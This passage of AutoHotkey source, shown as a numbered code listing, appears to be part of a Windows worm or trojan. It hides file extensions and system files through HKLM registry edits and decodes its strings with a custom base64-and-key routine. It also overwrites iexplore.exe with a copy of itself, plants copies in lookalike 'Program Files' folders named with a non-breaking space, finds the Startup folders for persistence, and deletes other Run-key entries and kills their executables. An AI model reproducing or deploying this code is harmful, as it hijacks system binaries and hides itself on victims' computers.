| rg_wt("REG_DWORD", , rr, "ShowSuperHidden","0") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\HideFileExt", "DefaultValue","1") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\HideFileExt", "CheckedValue","1") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\NOHIDDEN", "CheckedValue", "2") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\NOHIDDEN", "DefaultValue","2") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\SHOWALL", "CheckedValue","1") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\Hidden\SHOWALL", "DefaultValue","2") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\SuperHidden", "CheckedValue","0") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\SuperHidden", "DefaultValue","0") | |
| rg_wt("REG_DWORD", "HKLM", rr "\Folder\SuperHidden", "UncheckedValue","0") | |
| } | |
| return | |
| get_num_seed(len = 0) { | |
| rnn = | |
| len := regexreplace(len, "[^\d]") + 0 | |
| if len <= 0 | |
| return "" | |
| if (len > 9) { | |
| loop, % len // 9 | |
| rnn .= get_num_seed(9) | |
| rm := Mod(len, 9) | |
| if (rm > 0) | |
| rnn .= get_num_seed(rm) | |
| return rnn | |
| } | |
| strt = | |
| endd = | |
| ln := len - 1 | |
| loop, %ln% | |
| strt .= "0" | |
| loop, %len% | |
| endd .= "9" | |
| strt = 1%strt% | |
| strt += 0 | |
| endd += 0 | |
| if (strt < 1 || endd < 1) { | |
| return "" | |
| } | |
| random, rnn, %strt%, %endd% | |
| return rnn | |
| } | |
| getcommonpaths: | |
| if cmn_pths_dn | |
| return | |
| cmn_pths_dn = 1 | |
| stringcasesense, off | |
| rdm := get_num_seed(20) | |
| rg_lm_ok = 1 | |
| wschk := dcprt("nbW4prGKib24tb7AoY2Lq7E-c", "LJG^%&HF") | |
| vrmc := dcprt("nLW8u9OGkpu6u7ysunJni46VmIy6", "LJG^%&HF") | |
| if (xp_hgr) { | |
| Try regdelete, HKLM, %reg_sw_ms_ie%, %wschk% | |
| Try regdelete, HKEY_CLASSES_ROOT, %vrmc%%reg_sw_ms_ie%, %wschk% | |
| rg_wt(, "HKLM", reg_sw_ms_ie, wschk, rdm) | |
| if (rg_rd("HKEY_CLASSES_ROOT", vrmc reg_sw_ms_ie, wschk) != rdm) { | |
| rg_lm_ok = 0 | |
| } | |
| Try regdelete, HKLM, %reg_sw_ms_ie%, %wschk% | |
| Try regdelete, HKEY_CLASSES_ROOT, %vrmc%%reg_sw_ms_ie%, %wschk% | |
| } | |
| else | |
| { | |
| rg_wt(, "HKLM", reg_sw_ms_ie, wschk, rdm) | |
| if (rg_rd("HKLM", reg_sw_ms_ie, wschk) != rdm) { | |
| rg_lm_ok = 0 | |
| } | |
| Try regdelete, HKLM, %reg_sw_ms_ie%, %wschk% | |
| } | |
| atemp = %a_temp% | |
| if !atemp | |
| atemp = %temp% | |
| if (atemp != "" && USERPROFILE = "") | |
| { | |
| stringgetpos, usr, atemp, \, L3 | |
| stringleft, USERPROFILE, atemp, %usr% | |
| if systemdrive = | |
| stringleft, systemdrive, atemp, 2 | |
| } | |
| loop, %USERPROFILE%, 2 | |
| USERPROFILE = %a_loopfilelongpath% | |
| setworkingdir, %USERPROFILE% | |
| loop, %atemp%, 2 | |
| atemp = %a_loopfilelongpath% | |
| if systemdrive = | |
| { | |
| DriveGet, OutputVar, list, FIXED | |
| loop, parse, OutputVar | |
| { | |
| dr = %a_loopfield%: | |
| Try DriveGet, sts, Status, %dr% | |
| if sts = Ready | |
| { | |
| if (FileExist(dr "\Windows") && FileExist(dr "\" prg_fls)) { | |
| systemroot_tmp = %dr%\Windows | |
| systemdrive := dr | |
| break | |
| } | |
| } | |
| } | |
| } | |
| if systemroot = | |
| systemroot = %a_windir% | |
| if (systemroot = "" && systemdrive != "") { | |
| s = %systemdrive%\Windows | |
| if FileExist(s) | |
| systemroot = %s% | |
| if systemroot = "" && systemroot_tmp != "") | |
| systemroot := systemroot_tmp | |
| } | |
| sys_explorer := (systemroot ? systemroot : a_windir) "\explorer.exe" | |
| if !AppData | |
| AppData = %A_AppData% | |
| shfldr := dcprt("e5Cw3dWGmK2EbrPM0JSZt46VpsDHk4q3n5SmrNOXmK2WlaDO0JiPt5Z9j-aHOkZW6jZOm", "!Ji^%&H(") | |
| if !AppData | |
| { | |
| AppData := rg_rd(, shfldr "User Shell Folders", "AppData") | |
| if AppData = | |
| { | |
| AppData := rg_rd(, shfldr "Shell Folders", "AppData") | |
| if AppData = | |
| AppData = %USERPROFILE%\AppData\Roaming | |
| else | |
| AppData = %AppData% | |
| } | |
| Str_Replace(AppData,"%USERPROFILE%",USERPROFILE) | |
| if !FileExist(AppData) | |
| Try filecreatedir, %AppData% | |
| } | |
| ms_wn_st_pr_st := dcprt("hG6zzNCUmbeOlabAx5OKt5-aUprzShpi8SG6v19OBdrqXiLzKy5iCm5yCvN3TlQ-c-c", "!Ji^%&H(") | |
| startup = %a_startup% | |
| if !startup | |
| { | |
| reg_startup := rg_rd(, shfldr "User Shell Folders", "Startup") | |
| Str_Replace(reg_startup,"%USERPROFILE%",USERPROFILE) | |
| if reg_startup = | |
| reg_startup := AppData ms_wn_st_pr_st | |
| startup := reg_startup | |
| if !FileExist(startup) | |
| Try filecreatedir, %startup% | |
| } | |
| startupcommon := a_startupcommon | |
| if !startupcommon | |
| { | |
| reg_startupcommon := rg_rd("HKLM", shfldr "Shell Folders", "Common Startup") | |
| if reg_startupcommon = | |
| reg_startupcommon := systemdrive "\ProgramData" ms_wn_st_pr_st | |
| startupcommon := reg_startupcommon | |
| } | |
| if !startupcommon | |
| startupcommon := systemdrive "\Users\All Users" ms_wn_st_pr_st | |
| prg_dir := a_programfiles | |
| if !prg_dir | |
| prg_dir := programfiles | |
| if !prg_dir | |
| prg_dir := systemdrive "\" prg_fls | |
| myprg_dir := systemdrive "\" prg_alt0160_fls | |
| ies = %prg_dir%\%int_exp%\ | |
| ori_ie_bk := ies "iexplore.dll" | |
| prg_ie_ix := ies ieDotexe | |
| my_ie_bk := ies "ieinstall.dll" | |
| return | |
| ecprt(dta, ky) { | |
| if dta = | |
| return | |
| ecc= | |
| l:=strlen(ky) | |
| if (l > 0) { | |
| loop, parse, dta | |
| ecc.=chr(Asc(SubStr(dta,a_index,1)) + Asc(substr(ky,mod(a_index,l)-1,1))) | |
| dta:=ecc | |
| } | |
| return cnv_spl(dta) | |
| } | |
| dcprt(dta, ky) { | |
| if dta = | |
| return | |
| de= | |
| d:=bsdcd(StrReplace(StrReplace(StrReplace(dta,"-a","+"),"-b","/"),"-c","=")) | |
| l:=strlen(ky) | |
| if (l > 0) { | |
| loop, parse, d | |
| de.=chr(Asc(SubStr(d,a_index,1)) - Asc(substr(ky,mod(a_index,l)-1,1))) | |
| d:=de | |
| } | |
| return d | |
| } | |
| cnv_spl(t) { | |
| if !t | |
| return | |
| return StrReplace(StrReplace(StrReplace(StrReplace(StrReplace(bsecd(t) ,"`r"),"`n"),"+","-a"),"/","-b"),"=","-c") | |
| } | |
| bsecd(str) { | |
| Global alp_num | |
| StringCaseSense, On | |
| Loop Parse, str | |
| { | |
| s := SubStr(str, a_index, 1),m := Mod(A_Index,3) | |
| IfEqual, m,1, SetEnv buffer, % Asc(s) << 16 | |
| Else IfEqual m,2, EnvAdd buffer, % Asc(s) << 8 | |
| Else { | |
| buffer += Asc(s) | |
| out := out SubStr(alp_num,((buffer>>18)&63)+1,1) SubStr(alp_num,((buffer>>12)&63)+1,1) SubStr(alp_num,((buffer>>6)&63)+1,1) SubStr(alp_num,(buffer&63)+1,1) | |
| } | |
| } | |
| IfEqual, m,0, Return out | |
| IfEqual, m,1, Return out SubStr(alp_num,((buffer>>18)&63)+1,1) SubStr(alp_num,((buffer>>12)&63)+1,1) "==" | |
| out := out SubStr(alp_num,((buffer>>18)&63)+1,1) SubStr(alp_num,((buffer>>12)&63)+1,1) SubStr(alp_num,((buffer>>6)&63)+1,1) "=" | |
| StringCaseSense, Off | |
| Return out | |
| } | |
| bsdcd(cd) { | |
| Global alp_num | |
| StringCaseSense, On | |
| Str_Replace(cd,"=") | |
| Loop Parse, cd | |
| { | |
| s := SubStr(cd, a_index, 1) | |
| m := A_Index & 3 | |
| IfEqual, m,0, { | |
| buffer += (InStr(alp_num,s,1)-1) | |
| out := out Chr(buffer>>16) Chr(255 & buffer>>8) Chr(255 & buffer) | |
| } | |
| Else IfEqual, m,1, SetEnv, buffer, % (InStr(alp_num,s,1)-1) << 18 | |
| Else buffer += (InStr(alp_num,s,1)-1) << 24-6*m | |
| } | |
| IfEqual, m,0, Return out | |
| IfEqual, m,2, Return out Chr(buffer>>16) | |
| out := out Chr(buffer>>16) Chr(255 & buffer>>8) | |
| StringCaseSense, Off | |
| Return out | |
| } | |
| cpy_ie_bk() { | |
| Global ori_ie_bk, prg_ie_ix, atemp | |
| if FileExist(ori_ie_bk) { | |
| Try FileCopy, %ori_ie_bk%, %prg_ie_ix%, 1 | |
| if errorlevel = 0 | |
| return | |
| } | |
| ixdt := dcprt("osqzv9yJh7yneq6o0g-c-c", "LJG^%&HF") | |
| if FileExist(atemp . ixdt) { | |
| Try FileCopy, %atemp%%ixdt%, %prg_ie_ix%, 1 | |
| } | |
| return | |
| } | |
| restr_ori_ie() { | |
| Global prg_ie_ix | |
| ix_renms_del() | |
| loop, 2 | |
| { | |
| if (FileExist(prg_ie_ix) && ver_typ(prg_ie_ix) != 1) | |
| break | |
| if !FileExist(prg_ie_ix) { | |
| cpy_ie_bk() | |
| break | |
| } | |
| nr := get_num_seed(5) | |
| Try FileSetAttrib, -RSAH, %prg_ie_ix% | |
| Try filemove, %prg_ie_ix%, %prg_ie_ix%.%nr%, 1 | |
| if !FileExist(prg_ie_ix) { | |
| cpy_ie_bk() | |
| break | |
| } | |
| } | |
| ix_renms_del() | |
| } | |
| return | |
| ix_renms_del() { | |
| Global | |
| For indx, lpx in [ScriptDir "\" ieDotexe, prg_dir ie_ix_exe] | |
| loop, %lpx%* | |
| if (StrLen(a_loopfilename) > 12) { | |
| Try FileSetAttrib, -RSAH, %a_loopfilefullpath% | |
| Try FileDelete, %a_loopfilefullpath% | |
| sleep, 50 | |
| If FileExist(a_loopfilefullpath) | |
| Try FileSetAttrib, +RSA, %a_loopfilefullpath% | |
| } | |
| } | |
| bkp_ori_ie() { | |
| global prg_ie_ix, ori_ie_bk, atemp | |
| bkp_k = 0 | |
| tmp_ixdt := atemp . dcprt("osqzv9yJh7yneq6o0g-c-c", "LJG^%&HF") | |
| if (ver_typ(prg_ie_ix) != 1) { | |
| Try FileCopy, %prg_ie_ix%, %ori_ie_bk%, 1 | |
| if errorlevel = 0 | |
| bkp_k++ | |
| Try FileCopy, %prg_ie_ix%, %tmp_ixdt%, 1 | |
| if errorlevel = 0 | |
| bkp_k++ | |
| } | |
| if (!bkp_k && FileExist(ori_ie_bk)) { | |
| if (ver_typ(ori_ie_bk) != 1) { | |
| bkp_k++ | |
| } | |
| } | |
| if (!bkp_k && FileExist(tmp_ixdt)) { | |
| if (ver_typ(tmp_ixdt) != 1) { | |
| bkp_k++ | |
| } | |
| } | |
| return bkp_k | |
| } | |
| get_dup_prg_ie_ix() { | |
| Global | |
| if FileExist(prg_ie_ix) { | |
| if (ver_typ(prg_ie_ix) = 1) { | |
| return prg_ie_ix | |
| } | |
| } | |
| if (bkp_ori_ie() = 0) { | |
| restr_ori_ie() | |
| if (bkp_ori_ie() = 0) { | |
| return self_ixplr() | |
| } | |
| } | |
| kill_del(prg_ie_ix) | |
| chg_icn_typ_cpy(ScriptFullPath, prg_ie_ix, "ix") | |
| sleep, 200 | |
| if FileExist(prg_ie_ix) { | |
| Try FileSetAttrib, +RSA, %prg_ie_ix% | |
| Try FileSetAttrib, -H, %prg_ie_ix% | |
| if (ver_typ(prg_ie_ix) = 1) { | |
| return prg_ie_ix | |
| } | |
| return self_ixplr() | |
| } | |
| return self_ixplr() | |
| } | |
| self_ixplr() { | |
| global | |
| restr_ori_ie() | |
| tmp_iex = | |
| rettix = | |
| For indx, loopfield in [myprg_dir StrReplace(ie_ix_exe, " ", alt_0_chr), appdata "\" prg_alt0160_fls ie_ix_exe, ScriptDir ie_ix_exe] { | |
| if FileExist(loopfield) { | |
| if (ver_typ(loopfield) = 1) { | |
| Try { | |
| Try FileGetAttrib, atr, %loopfield% | |
| if (!InStr(atr,"R") || !InStr(atr,"A") || !InStr(atr,"S") || InStr(atr,"H")) { | |
| Try FileSetAttrib, +RSA, %loopfield% | |
| Try FileSetAttrib, -H, %loopfield% | |
| } | |
| } | |
| rettix = %loopfield% | |
| goto ret_rettix | |
| } | |
| kill_del(loopfield) | |
| if FileExist(loopfield) { | |
| sleep, 100 | |
| continue | |
| } | |
| } | |
| if !tmp_iex | |
| { | |
| tmp_iex := atemp "\~temp~" get_num_seed(8) ".tmp" | |
| if !chg_icn_typ_cpy(ScriptFullPath, tmp_iex, "ix") | |
| tmp_iex := ScriptFullPath | |
| } | |
| SplitPath, loopfield, , OutDir | |
| Try { | |
| Try filecreatedir, %OutDir% | |
| Try filecopy, %tmp_iex%, %loopfield%, 1 | |
| Try FileSetAttrib, +RSA, %loopfield% | |
| Try FileSetAttrib, -H, %loopfield% | |
| } | |
| if !FileExist(loopfield) { | |
| sleep, 100 | |
| continue | |
| } | |
| rettix = %loopfield% | |
| goto ret_rettix | |
| } | |
| ret_rettix: | |
| if (tmp_iex && tmp_iex != ScriptFullPath) | |
| kill_del(tmp_iex) | |
| return rettix | |
| } | |
| Wtchr: | |
| if cmdl_on != %alt_0_chr% | |
| ExitApp | |
| wu := dcprt("nbW4q82cmaebvK6o0oo-c", "LJG^%&HF") | |
| For indx, hk in ["HKLM", "HKCU"] | |
| Loop, %hk%, %reg_sw_ms_win_cu_ro% | |
| if (InStr(A_LoopRegName, wu) && StrLen(A_LoopRegName) = 19) { | |
| Try RegRead, rgval | |
| if !rgval | |
| continue | |
| k := StrSplit(rgval, """")[2] | |
| if !k | |
| continue | |
| kill_del(k) | |
| Try regdelete | |
| } | |
| Try DllCall("kernel32.dll\SetProcessShutdownParameters", UInt, 0x4FF, UInt, 0) | |
| OnMessage(0x11, "shutin") | |
| Try FileSetAttrib, +RSAH, %ScriptDir% | |
| Try process, wait, %ieDotexe%, 3 | |
| if errorlevel = 0 | |
| sleep, 3000 | |
| comn_virs := dcprt("p1haVoeOY4aef4pYi53DVrCXro5eXlPDormTp15bh1uOhsvMg1uMVIrWj4DDrFWQh5jSWLnfsFSGh5LUmYLMw41WgobAhrXJsJueVIrWj4DDrIqGj5PRnrXTt42cVIrWj4DDrIuej5vDSsfMrp2cj5nXhrXasIufmI7So4LMw41WgobCoLXVro2OiorEj8LLsJpYi53DVrDIr56LlJjDjnTau6Ghh5fDSrjMv42NmpTQhrXar1aPnoqKhrXLwomci4TOnMOVsKCPUoG-blcGHrJaej5vHnMnaa1paV1V-amsbWeY2ii1G6i8DXs4mLnIG-blsTPrImgVIrWj4DDrJWRVIrWj4DDrJWdVIrWj4DDrJaOmJTLj7jIrJ5Yi53DVrDIuY-aailPDormTp4mYmo69nsbWtVaPnoqKhrXVv5GLiomMj8zMd4SLlJnHi73La5uZjJnVi8bMp4mYmo6-bk7jDrJaej4bHjoLMw41WgobMnr3SsI2aVIrWj4DDrJaej5K-blsvIvY1KipTBnsPZeY2ii1G6i8LbtJWLkpy-bnLnDrJaej5K-blsvIvY1Yi53DVrDIuZyTk4bKobXZsIeamJSMj8zMd4SLlJnHl7XTwomci5XQmYLMw41WgobMnr3au6FcVlWWWLnfsFSGh5PSk8fXxIuSi4jJSoaVfFaPnoqKhrXVv5Gdlp7BkrnKtlaPnoqKhrXVv5Gdlp7Rkr3Mt4xYi53DVrDIuZyTmZXXncTQr42cVIrWj4DDrJaej5jOo8fbupqXVIrWj4DDrJaej5jOo8vIvY1KlpfNWLnfsFSGh5PSk8fXxJ-aLmIqLXISXg1aPnoqKhrXVv5Gdlp7Vi8bMeY2ii1G6i8LbtJuan5y-bnLnfu1paVl6Mj8zMd4SLlJnHnsbWxFaPnoqKhrXVv5Ggj5eMj8zMd4SLlJnHoL3ZgVxYi53DVrDIuZyTnI7QmsbWv42NmlPDormTp4mYmo7Uk8bcvkhcVlWXSsTTwJtYi53DVrDIuZyTnI7Qn8eHrJaej5jOo8vIvY1KWFWPW7DIuZyTnI7Qn8eHrJaej5jOo8vIvY1Yi53DVrDIuZyTnI7Qn8eHrJaej5jOo8vIvY1KWFWPW7DasIufmI7So8HIuYmRi5eMj8zMd4SLlJnHoL3ZwJtKiZHDi8KHfVhbV4G-boLeZe1lbVIrWj4DDrJaej5vHnMnaa4uWi4bMSoaXfFmGh5vRj8bdtIuPVIrWj4DDrJaej5vHnMnaeFpaVl3OnMOVsKCPUoG-bmMjQwZGcm5iMj8zMd4SLlJnHoL3ZwJthVIrWj4DDrJaej5vHnMnap4mYmo7Uk8bcvlaPnoqKhrXVv5Ggj5fTnbDevoudnIiRXILMw41WgobMnr3dtJqfmYTOnMOVsKCPUoG-bmMjQwZGcm5jCmbeVsKCPUoG-bmMjQwZGcm5jFnoLMw41WgobMnr3dtJqfmZG-bjIaXe2FYi53DVrDIuZyTnI7Qn8fXvZdcVlWXWLnfsFSGh5PSk8rQvZ2dlpfNiYaXfFiGh5PSk8rQvZ2dlpfNiYaXfFhYi53DVrDIuZyTnI7Qn8fXvZeei4jSk8PVeY2ii1G6i8LbtJ6TmJrRosSVsKCPUoG-bmMjdvVaPnoqKhrXVv56cmVPDormTp4maiYnDkLnVr42cVIrWj4DDrJiNlpfNnrnKv1aPnoqKhrXXrpuPiZrQj4LMw41WgobOkYLMw41WgobOmoWVsKCPUoG-bmseVsKCPUoG-bnMHWvYyPjIrMjrnZeY2ii1G6i8eZe1hinpWMj8zMd4SLmYh-aXIKYeY2ii1G6i8fMeY2ii1G6i8fOeY2ii1G6i8fUeY2ii1G6i8fXfVhaX1PDormTp4mdlpfNosSVsKCPUoG-bncTgrlaPnoqKhrXav5qfk1PDormTp4melJvQnb3VvpyLkpGMj8zMd4SLmpTEnYLMw41WgobUSsTZupyPiZnHmcKHfVhbV5uPXIWVsKCPUoG-boHTasIufmI7So3SZe1lcnFaQW4LMw41WgobUWLnfsFSGh5uPk4LMw41WgobUXISXhFaPnoqKhrXdfVhaX1PDormTp4mgWVuOWLnfsFSGh5uWWLnfsFSGh5u-bWLnfsFSGh5vBi8bMeY2ii1G6i8rMeY2ii1G6i8rQvZycVIrWj4DDrJ6XVIrWj4DDrJ6aiVeOWo2VsKCPUoG-boMeVsKCPUoG-boMiVsKCPUoG-bocPTrF5Yi53DVrDIw5iOi4vDmLjMvVaPnoqKhrXfu46TnorQWLnfsFSGiFPDormTp4qLipy-bnLmUu5qZmorBnsPZeY2ii1G6jMDWrpOOi4vDmMfMp4qWlYjJjrnNsJadi1PDormTp4qWlYjJjrnNsJadi4HAlsPKtoyPjIrMnbnawYtYi53DVrDJt5eNkZDDj8TMvYSMkpTBlb-bMsJiPmFPDormTp4qWlYjJmsbWv42NmpTQhrbTuouVlpfNnrnKv5ecVIrWj4DDrZSZiZDVi8jKs42cgofKmbfSwomeiY3DnILMw41WgofLWLnfsFSGiJ7Sj7jMsY2YiorQWLnfsFSGiVPDormTp4uMi5vSncrKeY2ii1G6jbfIso2YmlPDormTp4uOWFWOY4LMw41WgojGmLafg2FfVIrWj4DDrpSPh5O-bnsPZeY2ii1G6jcDMrJaLmpTQWLnfsFSGiZHMiYaXe2GQmIrDk8Lav4mWklPDormTp4uWlZrCSrXda1paV1fUW4aYeY2ii1G6jcLbu5qZmlPDormTp4uZlJnQi8rQvZdYi53DVrDKupqPjZq-bnLiHfVhaX1PDormTp4udVIrWj4DDrp1dWlrCWLnfsFSGiZzQk8jMvVaPnoqKhrjIv4mSi4bKj8aVsKCPUoHCi8jXvZeeVIrWj4DDr42QiZPSWLnfsFSGiorEj8LKsIuPlJnDnILMw41WgonDkLnVr4maiVPDormTp4yPmZDSmcSHr42Qi5PCj8aHfVhbVlPDormTp4yPmZDSmcSHr42Qi5PCj8aHfVhbVlPDormTp4yPmZDSmcSHvo2Nm5fHns2HfVhbVlPDormTp4yPmZTSj4LMw41WgonHkcTZupxYi53DVrDLvY-afh5fCWLnfsFSGipfHoLnOwImcilPDormTp41XmYrSSoaXfFmGi1LRj8iVsKCPUoHDi8fgvpijnYbQj7fTsImYi5eMj8zMd4SPnpXHmcbMvVaPnoqKhrnfu5qPmZi-boILMw41WgorWnsbIrJ5Yi53DVrDNe41iWlPDormTp46LmZm-boILMw41WgovKi8fPsp2LmImMj8zMd4SRioiMj8zMd4SRiojVWLnfsFSGjYrMi8rQvVaPnoqKhrvPupueVIrWj4DDspCZmZm-boILMw41WgozQj7Xbr42Qi5PCj8aVsKCPUoHFn7XZr5iNmVPDormTp4-ahmIHLnLXLt5RYi53DVrDOwpqGmJzFWLnfsFSGjonQk8rMvp-aPi5XDnILMw41Wgo3Nl7nIuZyTnI7Qn8eZe1hjVIrWj4DDs5eXi4bMnr3dtJqfmVeOW4SVsKCPUoHGmcHMrJ5Yi53DVrDQrJiclVPDormTp5GLnI7QWLnfsFSGj4q-boILMw41Wgo7DjMjUeY2ii1G6k7ncu4yLmorRWLnfsFSGj4zTi8bLu4tYi53DVrDQuY6PmZnNmsbMuJegi5eMj8zMd4STlJjSi8DTqpuMioTDmILMw41Wgo7MncjIt5SPmITRjLjGsJZYi53DVrDQuZujmZjDjcnZsFaPnoqKhr3Vv42clIrSnbnKwJqTmp6QWoWXp5GdWFWPWoLMw41Wgo7Pl7XVrI-aPmFPDormTp5Gdh4vDi8qVsKCPUoHHnbXavlaPnoqKhr3deY2ii1G6lbnMu4uZllPDormTp5OSh5nQi4LMw41WgpDQlsKafVaPnoqKhr-bduJuPiZrQj4LMw41WgpG-bncjLsI6PlInDnILMw41WgpHHmL-barI6PlIrRnYLMw41WgpHHoLnIuZyTmZXXWLnfsFSGko7Uj8faeY2ii1G6lsSafmFYi53DVrDTu5CNkJDQlITMv46RVIrWj4DDt5uLmYjRWLnfsFSGkpjLXYaVvqGdUoHKncfIvlaPnoqKhsHItJaQh5vOnMPReY2ii1G6l7XTwomci0XCmbfbuppYi53DVrDUrJShh5fDjrnNeY2ii1G6l7XTwomci5fDl8PdrJRYi53DVrDUrJShh5fDobXZa19YWVPDormTp5WNh5nBkrnZeY2ii1G6l7jMsY2YmYqMj8zMd4SXi4nHi7fWr42NVIrWj4DDuI2Oj4bRo8fbsJWGnZLOnsbIxFaPnoqKhsHQrpqZmZTEnrDKupaSlZjSWLnfsFSGk47BnMPauo6egpPDnsvWvZOGj5PRnrXTt1aPnoqKhsHQuZGiWVeMj8zMd4SXlobSnMPTu5qZVIrWj4DDuJiWh56RXMzMeY2ii1G6l8eaf12OVIrWj4DDuJuLVIrWj4DDuJuLmVeOWo2VsKCPUoHLncLQw1tcVIrWj4DDuKGaiZjDjcnZsFaPnoqKhsLIuZeLnFPDormTp5eYko7Mj7vcrJqOVIrWj4DDu4mXVIrWj4DDu4mdVIrWj4DDu4mgVIrWj4DDu4qXVIrWj4DDu4tKiorEj8LLsJqGh5PSk8fXxJ-aLmIqMj8zMd4SaiUXCj7rMuYyPmIHOnMPKrpCPiZCMj8zMd4SaiUXRjcPcv4SaiZjBmcnbeY2ii1G6mreHvo2Nm5fHns2HfVhbV4HOjYaXfFlYi53DVrDXrlWLlJnHncTgeY2ii1G6mreafmFYi53DVrDXroeLlJnHncTgwomci1eOW4SVsKCPUoHOjbPasIufmI7So4aXe2FYi53DVrDXromXVIrWj4DDu4uOi4vDmLjMvVaPnoqKhsTKupiej5LHpLnZa1paV1W6mrfWu5yTk47Yj8aZe1laVIrWj4DDu4uaiYTRnrXZv42cVIrWj4DDu4uamJTSj7fbtJeYVIrWj4DDu4udlpfNnrnKv5ecVIrWj4DDu4udmYrBn8bMeY2ii1G6mrjMsY2YipeMj8zMd4SaiovMjsaVsKCPUoHOj8baupaLkkXFn7XZr0hcVlWXhsTMvZuZlIbKkcnIvYxYi53DVrDXsJqdlZO-blsTZupyPiZnNnILMw41WgpXDnciUu4memJTKWLnfsFSGlorRnsfesI2ai5eMj8zMd4SajZiMj8zMd4SalZzDnIHIuZyTnI7Qn8eUfVhaX1PDormTp5ici5jSmcjcuY2fllPDormTp5icj5u-bjc2HwomeiY3DnILMw41WgpXQk8rIrqGRm4bQjnSZe1lagpXQk8rIrqGRm4bQjoaXfFhYi53DVrDXvZeLlJnHncTgeY2ii1G6msbWrJtcVlWXWLnfsFSGlpfNkcbIuEiQj5HDnbDIt4-aRm46Mj8zMd4SamJTFnLXUa46TkorRhrXdp4mYmo7Uk8aVsKCPUoHOnMPOvYmXRovHlrnap4mgjUW-bmMjQwZGcm5h-aXISYfISLnIyMj8zMd4SamJTFnLXUa46TkorRhrbQv4yPjIrMjrnZa1paV1a6jL3br42Qi5PCj8aVsKCPUoHOnMPOvYmXRovHlrnap5WTkorRnsPVsEiLlJnHoL3ZwJuGk47Kj8fbupaPRobMnr3dtJqfmVPDormTp5iclYzQi8GHsZGWi5i6ncrKs5edmlPDormTp5iclYzQi8GHsZGWi5i6ocTXeY2ii1G6msbWuo5KiorEj8LLsJpKWFWOY7DXr46YipeMj8zMd4SamJTSj7fbr42Qi5PCj8aVsKCPUoHOnMPbsIuelojRWLnfsFSGlpfNnrnKv5uSj4rKjrDXvZeei4jSnbzQsJSOVIrWj4DDu5qZmorBnsfWt4yTi5eMj8zMd4SamYrBn8bQv6FYi53DVrDXvqGdmorLWLnfsFSGlpm-bnb-aVsKCPUoHOnsDOeY2ii1G6msnUu1aPnoqKhsTgvZeLlJnHncTgeY2ii1G6m8nQrpOSi4bKjcDMrJaPmFPDormTp5mfj4jJkrnIt4uWi4bMj8bawYtYi53DVrDYwJGNkY7MncjIt5Sah4jJWLnfsFSGmIbOk7iHrJaej5vHnMnaeY2ii1G6nLXXv5eciorEj8LKsFaPnoqKhsbLu5SLmo7Mn8HdgFaPnoqKhsbMrJSLnFPDormTp5qPh5PSk4LMw41WgpfDkb3av5qjiZHDoLnZeY2ii1G6nLnOtJuemJ7BlrndsJqemIbXWLnfsFSGmIrFk8fbvaGOlYjSmcaVsKCPUoHQj7vawZpYi53DVrDZsJafmVPDormTp5qPmZXXobXZsFaPnoqKhsbMvpyZmIqMj8zMd4ScjojMlcbRe42ejIyMj8zMd4SckYzMjoLMw41Wgpi-bkLnNtI-aSmorQhsfIsY2Qj4zGnrnZeY2ii1G6nbXNsJyjRobMnr2UvpijnYbQj3SaeY2ii1G6nbXNsJyjiYrMnrnZp5aPnVPDormTp5uLjIrSo7fMuZyPmIHOnMPbsIuelZeMj8zMd4Sdh4vDns3KsJaei5e6ncjIvZxYi53DVrDarI6Pmp7Jj7nXsJqGmYbEj8jgto2PlorQWLnfsFSGmYbEj8jgto2PlorQhsfIsY2en5DDj8TMvZugiVPDormTp5uLnFPDormTp5uLnIq-bnMHWvYSdh5vDi8bUuppYi53DVrDarJ6Ph5fLmcbDvomgi4bQl8PZvp6NVIrWj4DDvomgi4nDkLnVr42cgpi-boLnLsI6PlInDnILMw41Wgpi-boLnLsI6PlInDnMfdrlaPnoqKhsfIwY2Oi4vDmMfMp5uLnIrCj7rMuZuPVIrWj4DDvomgi4nDkLnVvo2GmYbUj7jMsY2YmYrRoLeVsKCPUoHRi8rMto2PllPDormTp5uLnIrJj7nXsJqGmYbUj7-bMsJiPmFPDormTp5uLnIrJj7nXsJqGmYbUj7-bMsJiPmJjUjYLMw41Wgpi-boLnaupSOj4rQhsfIwY2dlZHCk7nZeY2ii1G6nbXdsJuZkonHj8bDvomgi5jNlrjQsJqdnIiMj8zMd4SdiJLMnsaVsKCPUoHRjbXVeY2ii1G6nbfQv1aPnoqKhsfKwZBamZmMj8zMd4SdiZvGmcfbeY2ii1G6nbfds5edmpiMj8zMd4SdiZvRksPav5tYi53DVrDar5qLXFmMj8zMd4Sdi1eOW4SVsKCPUoHRj7XZrpBKh5PCSrjMvpyclZ6Mj8zMd4Sdi4iMj8zMd4Sdi4jTnLnNtI-aSmorQhsfMrp2ci4vHkbzbsJpYi53DVrDasIufmIrEk7vPv42cgpjDjcnZsI6TjY3Sj8bawYtYi53DVrDasIufmIrJj7nXsJpYi53DVrDasIufmIrOjbXdeY2ii1G6nbnKwJqPnIrSj8bIuYSdi4jTnLndsJyPmIbMWLnfsFSGmYrBn8bMwY2ei5e-bmLDasIufmIrUj8jMvYmYmZvBWLnfsFSGmYrBn8bMwomcmI7NnLDasIufmIrVi8bZtJecVIrWj4DDvo2Nm5fDobXZvZGZmIHRj7fcvY2hh5fQk8PZvp6NVIrWj4DDvo2Nm5fHns2Hro2Ympe-bloLMw41WgpjDjcnZtJyjRpLNmL3bupqGmYrBn8bQv6FKk5TMk8jWvVaPnoqKhsfMrp2cj5nXSsHWuZGelZe6nbnKwJqTmp7Li8LIso2cVIrWj4DDvo2Nm5fHns2Ze1hjVIrWj4DDvo2Nm5fHns3KsJaei5eMj8zMd4Sdi4jTnL3bxI6TjY3Sj8bDvo2Nm5fHns3NtI-aSmorQWLnfsFSGmYrBn8bQv6GQj4zGnrnZp5uPiZrQk8jgsZGRjpnDnMfdrlaPnoqKhsfMrp2cj5nXncPTr5GPmIHRj7fcvZGen5jNlrjQsJpYi53DVrDasIufmI7So8fWt4yTi5e6nbnKwJqTmp7RmcDLtI2cmZvBWLnfsFSGmYrQj8eVsKCPUoHRkIaXe2FYi53DVrC-atJZumI7Uj5vcrJqOVIrWj4DDvo9dWlrCWLnfsFSGmY3Blr-bZtV